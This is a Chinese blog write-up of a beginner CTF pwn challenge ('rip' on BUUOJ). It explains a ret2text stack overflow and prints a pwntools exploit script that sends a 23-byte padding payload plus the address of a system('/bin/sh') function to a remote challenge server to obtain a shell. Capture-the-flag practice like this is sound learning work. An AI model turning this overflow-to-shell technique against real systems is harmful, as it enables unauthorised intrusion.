002-rip
2021/7/10 6:08:57
本文主要是介绍002-rip,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
刷题记录,题目来源:https://buuoj.cn/
ret2text,提供了直接的getshell函数,控制执行流到该shell函数中即可
查看源代码
发现fun()
函数,内容为system("/bin/sh")
可以直接拿到shell
查看偏移值
【偏移值为15加上8?已解决】
偏移值为0xF,加上64位机器的地址是8字节
db ? ; undefined db 8 dup(?) db: 定义字节类型变量的伪指令 dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定 ?: 只分配存储空间,不指定初值
参考:https://www.cnblogs.com/Jlay/p/pwn_wp1.html
EXP
from pwn import * context.arch = "amd64" #sh = process("./002-rip") sh = remote('node4.buuoj.cn', 28607) elf = ELF("./002-rip") system_addr = elf.symbols["fun"] payload = flat(cyclic(23), system_addr + 1) sh.send(payload) sh.interactive()
system_addr + 1
是为了堆栈平衡,【原理啥的】
这篇关于002-rip的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-22项目:远程温湿度检测系统
- 2024-12-21《鸿蒙HarmonyOS应用开发从入门到精通(第2版)》简介
- 2024-12-21后台管理系统开发教程:新手入门全指南
- 2024-12-21后台开发教程:新手入门及实战指南
- 2024-12-21后台综合解决方案教程:新手入门指南
- 2024-12-21接口模块封装教程:新手必备指南
- 2024-12-21请求动作封装教程:新手必看指南
- 2024-12-21RBAC的权限教程:从入门到实践
- 2024-12-21登录鉴权实战:新手入门教程
- 2024-12-21动态权限实战入门指南